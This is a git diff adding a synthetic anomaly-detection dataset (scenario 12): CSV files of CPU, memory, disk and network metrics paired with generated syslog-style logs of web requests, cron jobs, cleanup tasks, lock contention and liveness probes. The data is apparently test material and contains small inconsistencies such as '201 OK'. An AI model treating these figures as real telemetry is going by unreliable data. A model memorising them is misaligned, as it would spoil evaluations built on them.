+2025-07-12T10:00:05Z,27.72,43.8,32.52,1.06,1.14 +2025-07-12T10:00:10Z,17.55,43.68,20.88,0.92,1.08 +2025-07-12T10:00:15Z,22.8,43.06,41.69,0.97,0.7 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+2025-07-12T10:07:10Z,0.69,43.1,0.41,0.03,0.04 +2025-07-12T10:07:15Z,0.49,45.47,0.05,0.03,0.01 +2025-07-12T10:07:20Z,0.71,45.5,0.2,0.01,0.04 +2025-07-12T10:07:25Z,0.39,44.51,0.1,0.04,0.02 diff --git a/anom_dataset/scenario_12/anom_12_10.log b/anom_dataset/scenario_12/anom_12_10.log new file mode 100644 index 0000000000000000000000000000000000000000..333353f54cdf789561d8eda88941813fe7f9a25e --- /dev/null +++ b/anom_dataset/scenario_12/anom_12_10.log @@ -0,0 +1,18 @@ +Jul 12 10:00:00 web-app[3456]: GET /api/v1/health status=200 OK +Jul 12 10:00:00 systemd[1]: Starting daily clean up activities... +Jul 12 10:00:25 web-app[3456]: GET /api/v1/health status=200 OK +Jul 12 10:00:50 web-app[3456]: GET /api/v1/health status=200 OK +Jul 12 10:01:15 web-app[3456]: GET /api/v1/health status=200 OK +Jul 12 10:01:25 systemd[1]: Starting daily clean up activities... +Jul 12 10:01:40 web-app[3456]: GET /api/v1/health status=200 OK +Jul 12 10:02:05 web-app[3456]: GET /api/v1/health status=200 OK +Jul 12 10:02:05 web-app[3456]: INFO User 'admin' logged in from 192.168.1.100 +Jul 12 10:02:30 web-app[3456]: GET /api/v1/health status=200 OK +Jul 12 10:02:50 systemd[1]: Starting daily clean up activities... +Jul 12 10:02:55 web-app[3456]: GET /api/v1/health status=200 OK +Jul 12 10:03:20 web-app[3456]: GET /api/v1/health status=200 OK +Jul 12 10:03:20 web-app[3456]: WARN Deprecated API endpoint used: /api/v0/status +Jul 12 10:04:35 CRON[7753]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 12 10:05:50 kubelet[2345]: INFO Liveness probe for pod 'web-app-pod' failed +Jul 12 10:06:40 kubelet[2345]: INFO Liveness probe for pod 'web-app-pod' failed +Jul 12 10:07:20 systemd[1]: Finished daily clean up activities. diff --git a/anom_dataset/scenario_12/anom_12_11.csv b/anom_dataset/scenario_12/anom_12_11.csv new file mode 100644 index 0000000000000000000000000000000000000000..fa10af7523f992309c85f1cec51e21b724e4ff07 --- /dev/null +++ b/anom_dataset/scenario_12/anom_12_11.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-22T14:00:00Z,23.046319063632936,43.15310478540427,23.889456499297896,1.4320698637711704,1.3306420151754121 +2025-08-22T14:00:05Z,17.381713182031575,42.446565417782594,41.13621050718877,1.6026616393219761,1.5911858588997227 +2025-08-22T14:00:10Z,22.171521160608847,45.66309914261299,45.90547042099675,0.8897954687409763,0.9870583208312885 +2025-08-22T14:00:15Z,18.162002634096815,43.89566911899729,43.825324629762264,1.5371690424106332,1.31331111648434 +2025-08-22T14:00:20Z,27.196099898892328,46.80703380524321,28.528807891197115,1.248842285845195,0.780166601838818 +2025-08-22T14:00:25Z,26.305731876832205,46.30017704939347,40.96053216271464,1.6083951899731006,1.1902233229034374 +2025-08-22T14:00:30Z,27.86131156921286,43.58233901319164,48.087247439878986,1.503235529852224,0.9746195247386312 +2025-08-22T14:00:35Z,16.776434973212933,44.041699449411524,21.566022055465876,1.2594158064270289,1.0030002449899569 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+Aug 22 14:00:00 web-app[3456]: INFO Processing request for /api/v1/users +Aug 22 14:00:00 systemd[1]: Starting daily clean up activities... +Aug 22 14:00:05 web-app[3456]: GET /api/v1/data status=200 OK +Aug 22 14:00:15 web-app[3456]: INFO Processing request for /api/v1/users +Aug 22 14:00:30 web-app[3456]: INFO Processing request for /api/v1/users +Aug 22 14:00:30 web-app[3456]: GET /api/v1/data status=200 OK +Aug 22 14:00:45 web-app[3456]: INFO Processing request for /api/v1/users +Aug 22 14:00:50 systemd[1]: Starting daily clean up activities... +Aug 22 14:00:55 web-app[3456]: GET /api/v1/data status=200 OK +Aug 22 14:01:00 web-app[3456]: INFO Processing request for /api/v1/users +Aug 22 14:01:15 web-app[3456]: INFO Processing request for /api/v1/users +Aug 22 14:01:20 web-app[3456]: GET /api/v1/data status=200 OK +Aug 22 14:01:30 web-app[3456]: INFO Processing request for /api/v1/users +Aug 22 14:01:40 systemd[1]: Starting daily clean up activities... +Aug 22 14:01:45 web-app[3456]: INFO Processing request for /api/v1/users +Aug 22 14:01:45 web-app[3456]: GET /api/v1/data status=200 OK +Aug 22 14:02:00 web-app[3456]: INFO Processing request for /api/v1/users +Aug 22 14:02:10 web-app[3456]: GET /api/v1/data status=200 OK +Aug 22 14:02:15 web-app[3456]: INFO Processing request for /api/v1/users +Aug 22 14:02:30 web-app[3456]: INFO Processing request for /api/v1/users +Aug 22 14:02:30 systemd[1]: Starting daily clean up activities... +Aug 22 14:02:35 web-app[3456]: GET /api/v1/data status=200 OK +Aug 22 14:02:45 web-app[3456]: INFO Processing request for /api/v1/users +Aug 22 14:03:00 web-app[3456]: INFO Processing request for /api/v1/users +Aug 22 14:03:00 web-app[3456]: GET /api/v1/data status=200 OK +Aug 22 14:03:15 web-app[3456]: INFO Processing request for /api/v1/users +Aug 22 14:03:20 systemd[1]: Starting daily clean up activities... +Aug 22 14:03:25 web-app[3456]: GET /api/v1/data status=200 OK +Aug 22 14:03:30 web-app[3456]: INFO Processing request for /api/v1/users +Aug 22 14:03:45 web-app[3456]: INFO Processing request for /api/v1/users +Aug 22 14:03:50 web-app[3456]: GET /api/v1/data status=200 OK +Aug 22 14:04:00 web-app[3456]: INFO Processing request for /api/v1/users +Aug 22 14:04:10 systemd[1]: Starting daily clean up activities... +Aug 22 14:04:15 web-app[3456]: INFO Processing request for /api/v1/users +Aug 22 14:04:15 web-app[3456]: GET /api/v1/data status=200 OK +Aug 22 14:04:30 web-app[3456]: INFO Processing request for /api/v1/users +Aug 22 14:04:40 web-app[3456]: GET /api/v1/data status=200 OK +Aug 22 14:04:45 web-app[3456]: INFO Processing request for /api/v1/users +Aug 22 14:06:15 CRON[7788]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 14:07:05 kubelet[2345]: INFO Liveness probe succeeded for pod other-app-pod diff --git a/anom_dataset/scenario_12/anom_12_12.csv b/anom_dataset/scenario_12/anom_12_12.csv new file mode 100644 index 0000000000000000000000000000000000000000..5d13bcac4547d5fd7a30f79cf938c429b1e40f11 --- /dev/null +++ b/anom_dataset/scenario_12/anom_12_12.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-03T10:00:00Z,18.450796659230818,44.00368700340424,21.52572070240747,1.0669964515016517,1.0187345662679739 +2025-07-03T10:00:05Z,16.381332985608765,41.16968885907847,24.105463716996542,1.422187400324773,0.7620732813718591 +2025-07-03T10:00:10Z,20.074367288011615,43.04885497276479,39.09825257407076,1.4257319290576556,0.9347410906788785 +2025-07-03T10:00:15Z,20.37013647681505,43.519461312159116,32.53210002361166,0.8008858486120785,1.2511115328254876 +2025-07-03T10:00:20Z,25.02581639758607,44.881342305084814,39.298702920996675,1.2254494465550678,0.7450469588906469 +2025-07-03T10:00:25Z,20.01325816003411,44.98283481334431,25.537197329830363,1.0438293154314962,0.8834169473481015 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systemd[1]: Starting daily clean up activities... +Jul 03 10:01:59 CRON[4321]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:02:32 CRON[4321]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:02:49 web-app[1234]: GET /api/v1/search?q=foo status=200 OK +Jul 03 10:03:13 web-app[1234]: GET /api/v1/items status=200 OK +Jul 03 10:03:33 web-app[1234]: GET /api/v1/search?q=foo status=200 OK +Jul 03 10:05:23 systemd[1]: Starting session 123 of user root. +Jul 03 10:06:25 systemd[1]: Starting session 123 of user root. diff --git a/anom_dataset/scenario_12/anom_12_13.csv b/anom_dataset/scenario_12/anom_12_13.csv new file mode 100644 index 0000000000000000000000000000000000000000..a66171235fce2e6fa5ae4ce559c9aeb59cfc7c83 --- /dev/null +++ b/anom_dataset/scenario_12/anom_12_13.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,18.45,42.48,27.98,1.44,1.08 +2025-07-02T12:00:05Z,27.01,43.14,24.83,1.09,1.35 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+2025-07-02T12:07:00Z,1.46,43.08,0.21,0.09,0.03 +2025-07-02T12:07:05Z,1.42,44.22,0.0,0.03,0.01 +2025-07-02T12:07:10Z,0.53,43.12,0.46,0.03,0.08 +2025-07-02T12:07:15Z,1.74,42.38,0.17,0.06,0.02 +2025-07-02T12:07:20Z,1.35,43.18,0.43,0.01,0.08 +2025-07-02T12:07:25Z,1.61,42.03,0.46,0.08,0.04 diff --git a/anom_dataset/scenario_12/anom_12_13.log b/anom_dataset/scenario_12/anom_12_13.log new file mode 100644 index 0000000000000000000000000000000000000000..8963b9bbfa073660b70c1f9add1f0f262b29e09b --- /dev/null +++ b/anom_dataset/scenario_12/anom_12_13.log @@ -0,0 +1,19 @@ +Jul 02 12:00:00 systemd[1]: Starting daily clean up activities... +Jul 02 12:00:20 web-app[3456]: GET /api/v1/user/394 status=200 OK +Jul 02 12:00:35 systemd[1]: Starting daily clean up activities... +Jul 02 12:00:40 web-app[3456]: GET /api/v1/user/425 status=201 OK +Jul 02 12:00:55 web-app[3456]: POST /api/v1/product/1350 status=201 Created +Jul 02 12:01:00 web-app[3456]: GET /api/v1/user/498 status=200 OK +Jul 02 12:01:10 systemd[1]: Starting daily clean up activities... +Jul 02 12:01:20 web-app[3456]: GET /api/v1/user/126 status=204 OK +Jul 02 12:01:40 web-app[3456]: GET /api/v1/user/305 status=200 OK +Jul 02 12:01:45 systemd[1]: Starting daily clean up activities... +Jul 02 12:01:50 web-app[3456]: POST /api/v1/product/1271 status=201 Created +Jul 02 12:02:00 web-app[3456]: GET /api/v1/user/405 status=201 OK +Jul 02 12:02:20 systemd[1]: Starting daily clean up activities... +Jul 02 12:02:30 CRON[8888]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:03:20 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:03:45 CRON[8888]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:05:00 CRON[8888]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:06:15 CRON[8888]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:06:40 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod diff --git a/anom_dataset/scenario_12/anom_12_14.csv b/anom_dataset/scenario_12/anom_12_14.csv new file mode 100644 index 0000000000000000000000000000000000000000..e49252247bb567f0fe572f4773c26c28b6059bea --- /dev/null +++ b/anom_dataset/scenario_12/anom_12_14.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-15T14:00:00Z,14.6,44.0,12.29,0.88,1.03 +2025-08-15T14:00:05Z,11.84,40.97,16.16,1.39,0.6 +2025-08-15T14:00:10Z,16.77,42.65,38.65,1.39,0.89 +2025-08-15T14:00:15Z,17.16,42.93,28.8,0.5,1.42 +2025-08-15T14:00:20Z,23.37,44.1,38.95,1.11,0.58 +2025-08-15T14:00:25Z,16.68,44.02,18.31,0.85,0.81 +2025-08-15T14:00:30Z,19.93,43.14,11.11,1.09,0.79 +2025-08-15T14:00:35Z,25.09,44.62,21.96,1.44,1.13 +2025-08-15T14:00:40Z,13.45,40.72,23.22,0.76,0.64 +2025-08-15T14:00:45Z,27.28,43.8,32.09,1.11,0.76 +2025-08-15T14:00:50Z,14.82,41.73,38.68,0.73,0.97 +2025-08-15T14:00:55Z,25.76,44.23,23.37,1.47,1.19 +2025-08-15T14:01:00Z,15.32,40.81,36.89,0.69,1.09 +2025-08-15T14:01:05Z,24.23,44.7,33.53,0.86,0.84 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activities... +Aug 15 14:00:05 web-app[2345]: POST /api/v1/login status=200 OK +Aug 15 14:00:25 web-app[2345]: GET /api/v1/products/45 status=200 OK +Aug 15 14:00:50 web-app[2345]: GET /api/v1/user/99 status=200 OK +Aug 15 14:01:00 systemd[1]: Starting session c5 of user root. +Aug 15 14:01:30 web-app[2345]: GET /api/v1/products/101 status=200 OK +Aug 15 14:02:05 web-app[2345]: GET /api/v1/orders/user/99 status=200 OK +Aug 15 14:02:25 web-app[2345]: Attempting to acquire lock for resource: Order-123 +Aug 15 14:03:45 kubelet[1122]: INFO Liveness probe succeeded for pod web-app-pod +Aug 15 14:05:00 CRON[8899]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 15 14:06:15 kubelet[1122]: INFO Liveness probe succeeded for pod web-app-pod diff --git a/anom_dataset/scenario_12/anom_12_15.csv b/anom_dataset/scenario_12/anom_12_15.csv new file mode 100644 index 0000000000000000000000000000000000000000..32247301e6ea07dfacdb6b24059796444b4bd86d --- /dev/null +++ b/anom_dataset/scenario_12/anom_12_15.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-03T10:00:00Z,13.45,49.96,21.65,1.44,0.94 +2025-07-03T10:00:05Z,22.01,51.93,19.03,1.09,1.17 +2025-07-03T10:00:10Z,11.14,46.63,37.4,0.82,0.98 +2025-07-03T10:00:15Z,15.72,52.74,19.63,1.31,1.06 +2025-07-03T10:00:20Z,17.97,50.16,29.69,1.04,1.0 +2025-07-03T10:00:25Z,11.38,55.19,32.79,1.24,1.19 +2025-07-03T10:00:30Z,12.91,57.13,38.51,0.8,1.15 +2025-07-03T10:00:35Z,13.08,51.98,34.6,1.26,1.11 +2025-07-03T10:00:40Z,23.33,57.32,23.9,0.82,0.96 +2025-07-03T10:00:45Z,11.55,54.13,23.46,1.33,1.24 +2025-07-03T10:00:50Z,15.07,49.21,17.96,1.47,0.78 +2025-07-03T10:00:55Z,17.95,48.51,31.58,1.2,0.7 +2025-07-03T10:01:00Z,24.32,50.95,17.28,1.26,1.24 +2025-07-03T10:01:05Z,23.41,48.55,30.84,0.98,1.13 +2025-07-03T10:01:10Z,15.87,46.74,22.34,1.26,1.12 +2025-07-03T10:01:15Z,15.37,53.32,19.42,0.97,0.93 +2025-07-03T10:01:20Z,18.79,51.64,30.16,1.02,0.92 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status=200 OK +Jul 03 10:00:30 web-app[3456]: GET /api/v1/user/41 status=200 OK +Jul 03 10:00:40 systemd[1]: Starting daily user cleanup activities... +Jul 03 10:00:45 web-app[3456]: GET /api/v1/user/40 status=200 OK +Jul 03 10:01:00 web-app[3456]: GET /api/v1/user/14 status=200 OK +Jul 03 10:01:15 web-app[3456]: GET /api/v1/user/40 status=200 OK +Jul 03 10:01:20 systemd[1]: Starting daily user cleanup activities... +Jul 03 10:01:30 web-app[3456]: GET /api/v1/user/46 status=200 OK +Jul 03 10:01:45 web-app[3456]: GET /api/v1/user/49 status=200 OK +Jul 03 10:02:00 web-app[3456]: GET /api/v1/user/25 status=200 OK +Jul 03 10:02:00 systemd[1]: Starting daily user cleanup activities... +Jul 03 10:02:15 web-app[3456]: GET /api/v1/user/21 status=200 OK +Jul 03 10:03:25 CRON[7890]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:04:10 kubelet[2345]: INFO Liveness probe succeeded for pod monitoring-agent +Jul 03 10:04:25 CRON[7890]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:05:25 CRON[7890]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:06:15 kubelet[2345]: INFO Liveness probe succeeded for pod monitoring-agent +Jul 03 10:06:25 CRON[7890]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:07:25 CRON[7890]: (root) CMD (run-parts --report /etc/cron.hourly) diff --git a/anom_dataset/scenario_12/anom_12_16.csv b/anom_dataset/scenario_12/anom_12_16.csv new file mode 100644 index 0000000000000000000000000000000000000000..1c1877cdef3b4855abdc264135e81fd55b5278e4 --- /dev/null +++ b/anom_dataset/scenario_12/anom_12_16.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-03T10:00:00Z,24.42,43.26,43.76,1.11,0.91 +2025-07-03T10:00:05Z,21.52,43.96,43.59,1.49,0.75 +2025-07-03T10:00:10Z,22.84,40.06,41.67,1.38,1.07 +2025-07-03T10:00:15Z,21.82,40.77,45.04,1.45,0.86 +2025-07-03T10:00:20Z,28.08,41.48,30.46,0.93,1.28 +2025-07-03T10:00:25Z,29.86,44.47,35.75,0.88,1.03 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+2025-07-03T10:07:20Z,1.06,42.17,0.02,0.01,0.01 +2025-07-03T10:07:25Z,0.77,42.35,0.32,0.0,0.09 diff --git a/anom_dataset/scenario_12/anom_12_16.log b/anom_dataset/scenario_12/anom_12_16.log new file mode 100644 index 0000000000000000000000000000000000000000..cd5f04256f08aadef651fbc0aeb635b23722e674 --- /dev/null +++ b/anom_dataset/scenario_12/anom_12_16.log @@ -0,0 +1,13 @@ +Jul 03 10:00:00 systemd[1]: Starting daily clean up activities... +Jul 03 10:00:19 web-app[3456]: INFO Request processed for user 44. +Jul 03 10:00:42 db-connector[4567]: INFO Connection pool status: 8 active, 2 idle. +Jul 03 10:01:03 web-app[3456]: INFO Request processed for user 29. +Jul 03 10:01:23 db-connector[4567]: INFO Connection pool status: 8 active, 2 idle. +Jul 03 10:01:40 systemd[1]: Starting daily clean up activities... +Jul 03 10:01:52 web-app[3456]: INFO Request processed for user 32. +Jul 03 10:02:11 web-app[3456]: INFO Request processed for user 22. +Jul 03 10:02:24 db-connector[4567]: INFO Connection pool status: 8 active, 2 idle. +Jul 03 10:02:38 web-app[3456]: INFO Request processed for user 82. +Jul 03 10:02:58 web-app[3456]: INFO Request processed for user 24. +Jul 03 10:03:00 web-app[3456]: WARN High contention detected on resource 'TransactionLock'. +Jul 03 10:05:55 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod diff --git a/anom_dataset/scenario_12/anom_12_17.csv b/anom_dataset/scenario_12/anom_12_17.csv new file mode 100644 index 0000000000000000000000000000000000000000..395ff555fae291026ca54f89c78f477e0f08a726 --- /dev/null +++ b/anom_dataset/scenario_12/anom_12_17.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-12T10:00:00Z,18.046319063632936,38.15310478540427,22.592970999531932,1.242448904639819,1.0783852091052473 +2025-07-12T10:00:05Z,12.381713182031573,37.34656541778259,34.09080700479251,1.361863147525383,1.2347115153398338 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a/anom_dataset/scenario_12/anom_12_17.log b/anom_dataset/scenario_12/anom_12_17.log new file mode 100644 index 0000000000000000000000000000000000000000..6236546cec78f88c293b5e8aab90c43fcaf521dd --- /dev/null +++ b/anom_dataset/scenario_12/anom_12_17.log @@ -0,0 +1,16 @@ +Jul 12 10:00:00 web-app[3456]: INFO Processing request for /api/v2/items +Jul 12 10:00:15 web-app[3456]: INFO Processing request for /api/v2/items +Jul 12 10:00:25 systemd[1]: Starting session c5 of user root. +Jul 12 10:00:30 web-app[3456]: INFO Processing request for /api/v2/items +Jul 12 10:00:45 web-app[3456]: INFO Processing request for /api/v2/items +Jul 12 10:01:00 web-app[3456]: INFO Processing request for /api/v2/items +Jul 12 10:01:15 web-app[3456]: INFO Processing request for /api/v2/items +Jul 12 10:01:15 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 12 10:01:30 web-app[3456]: INFO Processing request for /api/v2/items +Jul 12 10:01:45 web-app[3456]: INFO Processing request for /api/v2/items +Jul 12 10:02:00 web-app[3456]: INFO Processing request for /api/v2/items +Jul 12 10:02:05 web-app[3456]: WARN High latency detected for user 45 +Jul 12 10:02:15 web-app[3456]: INFO Processing request for /api/v2/items +Jul 12 10:03:45 systemd[1]: Starting daily clean up activities... +Jul 12 10:05:50 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 12 10:07:05 CRON[7890]: (root) CMD (run-parts --report /etc/cron.daily) diff --git a/anom_dataset/scenario_12/anom_12_18.csv b/anom_dataset/scenario_12/anom_12_18.csv new file mode 100644 index 0000000000000000000000000000000000000000..4a8ff9960a3cca26f621d739de5816561dfbc315 --- /dev/null +++ b/anom_dataset/scenario_12/anom_12_18.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-03T10:00:00Z,21.77,54.11,53.55,1.4,1.59 +2025-07-03T10:00:05Z,23.33,56.82,51.99,1.8,1.14 +2025-07-03T10:00:10Z,21.57,52.2,56.88,1.37,1.3 +2025-07-03T10:00:15Z,27.37,54.67,50.09,1.55,1.0 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+2025-07-03T10:07:20Z,0.16,53.3,0.0,0.0,0.0 +2025-07-03T10:07:25Z,0.22,53.49,0.0,0.0,0.0 diff --git a/anom_dataset/scenario_12/anom_12_18.log b/anom_dataset/scenario_12/anom_12_18.log new file mode 100644 index 0000000000000000000000000000000000000000..ab8f993cea3caba1417d464c65e7f69dab8970e2 --- /dev/null +++ b/anom_dataset/scenario_12/anom_12_18.log @@ -0,0 +1,67 @@ +Jul 03 10:00:00 systemd[1]: Starting daily clean up activities... +Jul 03 10:00:00 transaction-svc[3457]: INFO Acquiring lock for resource A... +Jul 03 10:00:05 CRON[4567]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:00:05 transaction-svc[3457]: INFO Successfully processed transaction 123. +Jul 03 10:00:10 transaction-svc[3456]: INFO Acquiring lock for resource A... +Jul 03 10:00:15 transaction-svc[3456]: INFO Successfully processed transaction 123. +Jul 03 10:00:20 transaction-svc[3457]: INFO Acquiring lock for resource A... +Jul 03 10:00:25 transaction-svc[3456]: INFO Successfully processed transaction 123. +Jul 03 10:00:30 systemd[1]: Starting daily clean up activities... +Jul 03 10:00:30 transaction-svc[3456]: INFO Acquiring lock for resource A... +Jul 03 10:00:35 transaction-svc[3457]: INFO Successfully processed transaction 123. +Jul 03 10:00:40 transaction-svc[3456]: INFO Acquiring lock for resource A... +Jul 03 10:00:45 transaction-svc[3457]: INFO Successfully processed transaction 123. +Jul 03 10:00:50 transaction-svc[3457]: INFO Acquiring lock for resource A... +Jul 03 10:00:55 transaction-svc[3457]: INFO Successfully processed transaction 123. +Jul 03 10:01:00 systemd[1]: Starting daily clean up activities... +Jul 03 10:01:00 transaction-svc[3457]: INFO Acquiring lock for resource A... +Jul 03 10:01:05 CRON[4567]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:01:05 transaction-svc[3457]: INFO Successfully processed transaction 123. +Jul 03 10:01:10 transaction-svc[3457]: INFO Acquiring lock for resource A... +Jul 03 10:01:15 transaction-svc[3456]: INFO Successfully processed transaction 123. +Jul 03 10:01:20 transaction-svc[3457]: INFO Acquiring lock for resource A... +Jul 03 10:01:25 transaction-svc[3456]: INFO Successfully processed transaction 123. +Jul 03 10:01:30 systemd[1]: Starting daily clean up activities... +Jul 03 10:01:30 transaction-svc[3457]: INFO Acquiring lock for resource A... +Jul 03 10:01:35 transaction-svc[3456]: INFO Successfully processed transaction 123. +Jul 03 10:01:40 transaction-svc[3457]: INFO Acquiring lock for resource A... +Jul 03 10:01:45 transaction-svc[3457]: INFO Successfully processed transaction 123. +Jul 03 10:01:50 transaction-svc[3457]: INFO Acquiring lock for resource A... +Jul 03 10:01:55 transaction-svc[3457]: INFO Successfully processed transaction 123. +Jul 03 10:02:00 systemd[1]: Starting daily clean up activities... +Jul 03 10:02:00 transaction-svc[3457]: INFO Acquiring lock for resource A... +Jul 03 10:02:05 CRON[4567]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:02:05 transaction-svc[3456]: INFO Successfully processed transaction 123. +Jul 03 10:02:10 transaction-svc[3456]: INFO Acquiring lock for resource A... +Jul 03 10:02:15 transaction-svc[3457]: INFO Successfully processed transaction 123. +Jul 03 10:02:20 transaction-svc[3456]: INFO Acquiring lock for resource A... +Jul 03 10:02:25 transaction-svc[3457]: INFO Successfully processed transaction 123. +Jul 03 10:02:30 systemd[1]: Starting daily clean up activities... +Jul 03 10:02:30 transaction-svc[3456]: INFO Acquiring lock for resource A... +Jul 03 10:02:35 transaction-svc[3457]: INFO Successfully processed transaction 123. +Jul 03 10:02:40 transaction-svc[3457]: INFO Acquiring lock for resource A... +Jul 03 10:02:45 transaction-svc[3456]: INFO Successfully processed transaction 123. +Jul 03 10:02:50 transaction-svc[3457]: INFO Acquiring lock for resource A... +Jul 03 10:02:55 transaction-svc[3457]: INFO Successfully processed transaction 123. +Jul 03 10:03:00 systemd[1]: Starting daily clean up activities... +Jul 03 10:03:00 transaction-svc[3457]: INFO Acquiring lock for resource A... +Jul 03 10:03:05 CRON[4567]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:03:05 transaction-svc[3456]: INFO Successfully processed transaction 123. +Jul 03 10:03:10 transaction-svc[3456]: INFO Acquiring lock for resource A... +Jul 03 10:03:15 transaction-svc[3457]: INFO Successfully processed transaction 123. +Jul 03 10:03:20 transaction-svc[3457]: INFO Acquiring lock for resource A... +Jul 03 10:03:25 transaction-svc[3456]: INFO Successfully processed transaction 123. +Jul 03 10:03:30 systemd[1]: Starting daily clean up activities... +Jul 03 10:03:30 transaction-svc[3457]: INFO Acquiring lock for resource A... +Jul 03 10:03:35 transaction-svc[3457]: INFO Successfully processed transaction 123. +Jul 03 10:04:00 systemd[1]: Starting daily clean up activities... +Jul 03 10:04:05 CRON[4567]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:04:30 systemd[1]: Starting daily clean up activities... +Jul 03 10:05:00 systemd[1]: Starting daily clean up activities... +Jul 03 10:05:05 CRON[4567]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:05:30 systemd[1]: Starting daily clean up activities... +Jul 03 10:06:00 systemd[1]: Starting daily clean up activities... +Jul 03 10:06:05 CRON[4567]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:06:30 systemd[1]: Starting daily clean up activities... +Jul 03 10:07:00 systemd[1]: Starting daily clean up activities... +Jul 03 10:07:05 CRON[4567]: (root) CMD (run-parts --report /etc/cron.hourly) diff --git a/anom_dataset/scenario_12/anom_12_19.csv b/anom_dataset/scenario_12/anom_12_19.csv new file mode 100644 index 0000000000000000000000000000000000000000..d29e3b424358ee864c404af5f8a382c79cacb28e --- /dev/null +++ b/anom_dataset/scenario_12/anom_12_19.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,21.44,44.86,33.75,0.85,1.08 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+2025-07-02T12:06:50Z,0.97,42.33,0.16,0.03,0.02 +2025-07-02T12:06:55Z,1.11,42.38,0.07,0.05,0.01 +2025-07-02T12:07:00Z,0.29,42.06,0.26,0.03,0.01 +2025-07-02T12:07:05Z,0.19,43.9,0.21,0.0,0.03 +2025-07-02T12:07:10Z,1.24,43.45,0.24,0.02,0.01 +2025-07-02T12:07:15Z,1.03,43.48,0.32,0.03,0.01 +2025-07-02T12:07:20Z,0.81,42.34,0.45,0.01,0.01 +2025-07-02T12:07:25Z,0.53,43.38,0.05,0.05,0.01 diff --git a/anom_dataset/scenario_12/anom_12_19.log b/anom_dataset/scenario_12/anom_12_19.log new file mode 100644 index 0000000000000000000000000000000000000000..e3c3f203da48ad8882cab8c9701a6a22c5fa399e --- /dev/null +++ b/anom_dataset/scenario_12/anom_12_19.log @@ -0,0 +1,48 @@ +Jul 02 12:00:00 systemd[1]: Starting daily clean up activities... +Jul 02 12:00:05 web-app[2048]: GET /api/v1/user/28 status=200 OK +Jul 02 12:00:10 web-app[2048]: GET /api/v1/user/29 status=200 OK +Jul 02 12:00:15 web-app[2048]: GET /api/v1/user/47 status=200 OK +Jul 02 12:00:20 web-app[2048]: GET /api/v1/user/12 status=200 OK +Jul 02 12:00:25 web-app[2048]: GET /api/v1/user/19 status=200 OK +Jul 02 12:00:30 web-app[2048]: GET /api/v1/user/21 status=200 OK +Jul 02 12:00:35 systemd[1]: Starting daily clean up activities... +Jul 02 12:00:40 web-app[2048]: GET /api/v1/user/14 status=200 OK +Jul 02 12:00:45 web-app[2048]: GET /api/v1/user/33 status=200 OK +Jul 02 12:00:50 CRON[4488]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:00:55 web-app[2048]: GET /api/v1/user/21 status=200 OK +Jul 02 12:01:00 web-app[2048]: GET /api/v1/user/22 status=200 OK +Jul 02 12:01:05 web-app[2048]: GET /api/v1/user/41 status=200 OK +Jul 02 12:01:10 systemd[1]: Starting daily clean up activities... +Jul 02 12:01:15 web-app[2048]: GET /api/v1/user/29 status=200 OK +Jul 02 12:01:20 web-app[2048]: GET /api/v1/user/20 status=200 OK +Jul 02 12:01:25 web-app[2048]: GET /api/v1/user/30 status=200 OK +Jul 02 12:01:30 web-app[2048]: GET /api/v1/user/48 status=200 OK +Jul 02 12:01:35 web-app[2048]: GET /api/v1/user/38 status=200 OK +Jul 02 12:01:40 CRON[4488]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:01:45 systemd[1]: Starting daily clean up activities... +Jul 02 12:01:50 web-app[2048]: GET /api/v1/user/45 status=200 OK +Jul 02 12:01:55 web-app[2048]: GET /api/v1/user/27 status=200 OK +Jul 02 12:02:00 web-app[2048]: GET /api/v1/user/46 status=200 OK +Jul 02 12:02:05 web-app[2048]: GET /api/v1/user/35 status=200 OK +Jul 02 12:02:10 web-app[2048]: GET /api/v1/user/14 status=200 OK +Jul 02 12:02:15 web-app[2048]: GET /api/v1/user/13 status=200 OK +Jul 02 12:02:20 systemd[1]: Starting daily clean up activities... +Jul 02 12:02:25 web-app[2048]: GET /api/v1/user/45 status=200 OK +Jul 02 12:02:30 CRON[4488]: (root) 